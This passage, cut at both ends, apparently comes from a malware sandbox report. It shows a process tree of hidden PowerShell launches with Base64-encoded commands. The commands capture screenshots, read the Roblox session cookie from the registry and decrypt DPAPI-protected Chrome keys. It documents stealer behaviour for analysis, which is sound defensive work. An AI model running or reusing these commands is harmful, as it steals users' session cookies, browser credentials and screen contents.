kAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA=="
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:1972
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwA1ADIAZQBqAGUAaQBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA==
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:3836
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA=="
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:2764
                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA==
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:5788
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:6536
                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                              powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEARwBrAHcAKwB5ACsAZgBkAEIARQBpAFQATQBvAFEAdgBCAHcARgBaAGEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBEAGwAMwBSAG0AZQB0AHQARQBZAG4AagA5AEUAUwA3AE0AdwBEADUAaQBhAE4AbgB3AHAAdQBaAEkARQA1AFkAYwA2ADgAUwA2ADIAcAB4ADcASABWAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAFAASwBYAGwAUABJAGcAeQB2AFAANwB4AEMAbwAyAEsAZQBrAG4ANwB0ADkANwBZAEgAZgBRACsAMgBNAE8AQwB6AFUATgBaAHYAYQB1AGcAZAA1ADEATQBBAEEAQQBBAEsAMwB3ACsAMgB3ADAASQBXAG0AZgB1AEoAMAB0AGYAdQBjAFEAWQA0AEQAOQAvAEQAWAA4AGwAQwBLAEoAWgBwAEUAYwByADUAZQBRAGgANQBOAEEAWQB4AGkASABvAGYAQwBDAGMANgBaAGsATABtAHIAbwBRAFoARABUAFUARQBBAEEAQQBBAEQAdwBHAE4AdQBlAGQATgBkAEEAUwB2ADcATQA0AHAAbgBwAEUAWgAxAHQASgBwAC8AWgArAEIAdwBlAFoAOQBIADEAeQBHAFMAUQBKAEUAUABnAHUAWQBHAC8ALwArAC8AUwBXAGMARQA2AEUAZwBnAE8AYQBSAEEAeQBYAE8AUABqAG8ASQBUAFMATQByAG8AUgBPAHAAeQBTAG4AMABrAEYAbwBOADIAbQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:2984
                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMAGQAaQBSAEIAVABZAE0AcQBIAEwAOQBpAHoAYwB3AE8AVQByAEUAbwA3ADIALwBmAGgANAB0AEMAdAB2ADAAQQBJAFMAUgBoAE4AeAA4AE0ARQB5AEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAE0ARAA0AGIAVQBNAEQAbABOAEwARgBEAFcASwAwAHYAawA1AGEAQwBDADgAWQBIAGsAdQB5ADcAUQBQAHkAdgBZAHYAYQBvAGgAcwBXAGwALwA1AGkAawBBAEUAQQBBAEsASAAxAGUAbAB5AFkAZQA1AFgAQgBQADkAbwBaAFEAZgBYADIAMgBUADMAdwA3AFMAeQA0AGgAWQBuAHYAcwBJAEgAcQBQAFAAeQBqAE0AMgBZAFoAKwBZAHQAeQBMAFYAMgBqAEYAZQBSAFEATwAzAEoAYwBXAGUAMwBvADYAOQBLAEkAQwA1AG4ATQAwAEUANABOAHYARwA0AGoAMwBIADQAWABNAE8AcwBEAFUAQQB6AFMASAA1AHYAbgBNAHIATABRAFoARwAvADYAcgBwAGUASQAyAFoAegBGAGoAaQBDAFoAbAA2AGYAcQBDAFoAdABRAFoAaQBpAEwAdgBRAGsAYgBoAGQAaABSAFUAbgB3AGwAMQBEAFYATQB6AHQAeQAxAGMATgBOAGQAKwBVADQAVgBmAHIANABvADQAUwA2AHUAWQBMAHIAbwBxAFEAQwBPAGUARQByAHIAOQBTAGoASgBYAEoASABzAHAARQB3AHoAbABEADAAaAA4AGwAdAA3AGYAVABoAHcASQBuADIAbQBBAEUASQBJAG0AdgBOADkASgBnAG4ATABMAHoARABnADgANwB1AFAAYQBSADAAZQAwAHgASABRAHQAVQBXAGkATAArAGIAMQBPADIAMgA3AEYAMgBmAGEATQBLAHQAbAAwAEMAagA5AGoARgBaAEsATQBRAGIATABOAGoAdABhADYAWAB0AEMAWgBLAGMAYwAvAEEAdAA5AFAAQwA0AEgATwBJAFQASABEAEIATgBEADYAdwBCAHAAWABLAEYAVQB1AEoAWABOAHYAZQBqADkAZQBVACsAOQAzAHIAbgBJAE0ATABZAEkAZgBCAFQAbgBQAFUAMABqADUAZgBpAGUAawBUAEkAKwBDAHIASQAzADcAYgBsADUATgBuAGEAaABiAFcASQA4AGQAWgBaADkAdgAvAGYAcAB0AHEATQAyAGIARwBhAE8AWgB0AGgAZgA4AFEASQB5ADMAUAB3ADkAdQBxAGwAdwAvAGcAZABtAHUAcQA1AFkASwBVAGoAawBWAEEAOAAwADQAcgAzAGMAQQB0AE8AYgBHACsAbwBlAGYAVQBsAGcAcAA0AE0ARgBMADYAegBvAFMAbQBMAHEAUQBVAHQAcwBqAHkAWQB3AG0ATgBzAFAAUwA0AGYAVgBSAFUAagB2AG0ARwBvAEcATgBlAGgAdgA5AEEAcwBEADIAeQA5AEcAZgBjAEEAZgBiAHcAUABpAEoAYwBkAHAAdQBiAE8ASwBjAC8AVAA0AG8AaQA2AFgAMAA4ADAALwBhAEQARgAyAGkATwBKAFMARwBnADkAMQBxAHQAVgAyAGMAaAB4AHAAZgBhAG4AbwArAEgAeAAwAEwAUQBuAGgAbABKAGkARwBmADMASwB4AGoARwBoAEEAQQBBAEEAQQAwAFcASAAwAEIAQwBCAFEAOQBpAE0AQgBhAEYASgArAGUALwBaAFkAagBYAEwAOQB0AFoAbwB1AEwAMAAxAHkANgBQAE0ALwB0AHEANgBtAHEAVQBvAGMAMgBzADkANgBSAGkAUwBDAHQAaABQADkASwBnAGYAVgBnAEoASABpAC8AdABnAHUAagBwADcAbwBQAGUAUgByAEQAQwBUAGIATQBqAFEALwBnAFEAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:892
                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAZABIAHUAYwBDAC8AQwB5AGIAMABxADkAUwBaAHYAWgBiAFMATABmADIAeABBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMAGQAaQBSAEIAVABZAE0AcQBIAEwAOQBpAHoAYwB3AE8AVQByAEUAbwA3ADIALwBmAGgANAB0AEMAdAB2ADAAQQBJAFMAUgBoAE4AeAA4AE0ARQB5AEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAE0ARAA0AGIAVQBNAEQAbABOAEwARgBEAFcASwAwAHYAawA1AGEAQwBDADgAWQBIAGsAdQB5ADcAUQBQAHkAdgBZAHYAYQBvAGgAcwBXAGwALwA1AGkAawBBAEUAQQBBAEsASAAxAGUAbAB5AFkAZQA1AFgAQgBQADkAbwBaAFEAZgBYADIAMgBUADMAdwA3AFMAeQA0AGgAWQBuAHYAcwBJAEgAcQBQAFAAeQBqAE0AMgBZAFoAKwBZAHQAeQBMAFYAMgBqAEYAZQBSAFEATwAzAEoAYwBXAGUAMwBvADYAOQBLAEkAQwA1AG4ATQAwAEUANABOAHYARwA0AGoAMwBIADQAWABNAE8AcwBEAFUAQQB6AFMASAA1AHYAbgBNAHIATABRAFoARwAvADYAcgBwAGUASQAyAFoAegBGAGoAaQBDAFoAbAA2AGYAcQBDAFoAdABRAFoAaQBpAEwAdgBRAGsAYgBoAGQAaABSAFUAbgB3AGwAMQBEAFYATQB6AHQAeQAxAGMATgBOAGQAKwBVADQAVgBmAHIANABvADQAUwA2AHUAWQBMAHIAbwBxAFEAQwBPAGUARQByAHIAOQBTAGoASgBYAEoASABzAHAARQB3AHoAbABEADAAaAA4AGwAdAA3AGYAVABoAHcASQBuADIAbQBBAEUASQBJAG0AdgBOADkASgBnAG4ATABMAHoARABnADgANwB1AFAAYQBSADAAZQAwAHgASABRAHQAVQBXAGkATAArAGIAMQBPADIAMgA3AEYAMgBmAGEATQBLAHQAbAAwAEMAagA5AGoARgBaAEsATQBRAGIATABOAGoAdABhADYAWAB0AEMAWgBLAGMAYwAvAEEAdAA5AFAAQwA0AEgATwBJAFQASABEAEIATgBEADYAdwBCAHAAWABLAEYAVQB1AEoAWABOAHYAZQBqADkAZQBVACsAOQAzAHIAbgBJAE0ATABZAEkAZgBCAFQAbgBQAFUAMABqADUAZgBpAGUAawBUAEkAKwBDAHIASQAzADcAYgBsADUATgBuAGEAaABiAFcASQA4AGQAWgBaADkAdgAvAGYAcAB0AHEATQAyAGIARwBhAE8AWgB0AGgAZgA4AFEASQB5ADMAUAB3ADkAdQBxAGwAdwAvAGcAZABtAHUAcQA1AFkASwBVAGoAawBWAEEAOAAwADQAcgAzAGMAQQB0AE8AYgBHACsAbwBlAGYAVQBsAGcAcAA0AE0ARgBMADYAegBvAFMAbQBMAHEAUQBVAHQAcwBqAHkAWQB3AG0ATgBzAFAAUwA0AGYAVgBSAFUAagB2AG0ARwBvAEcATgBlAGgAdgA5AEEAcwBEADIAeQA5AEcAZgBjAEEAZgBiAHcAUABpAEoAYwBkAHAAdQBiAE8ASwBjAC8AVAA0AG8AaQA2AFgAMAA4ADAALwBhAEQARgAyAGkATwBKAFMARwBnADkAMQBxAHQAVgAyAGMAaAB4AHAAZgBhAG4AbwArAEgAeAAwAEwAUQBuAGgAbABKAGkARwBmADMASwB4AGoARwBoAEEAQQBBAEEAQQAwAFcASAAwAEIAQwBCAFEAOQBpAE0AQgBhAEYASgArAGUALwBaAFkAagBYAEwAOQB0AFoAbwB1AEwAMAAxAHkANgBQAE0ALwB0AHEANgBtAHEAVQBvAGMAMgBzADkANgBSAGkAUwBDAHQAaABQADkASwBnAGYAVgBnAEoASABpAC8AdABnAHUAagBwADcAbwBQAGUAUgByAEQAQwBUAGIATQBqAFEALwBnAFEAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:6508
                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "python --version"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:3700
                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:6840
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "python3 --version"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:2600
                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:5388
                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "py -3 --version"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:6924
                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc 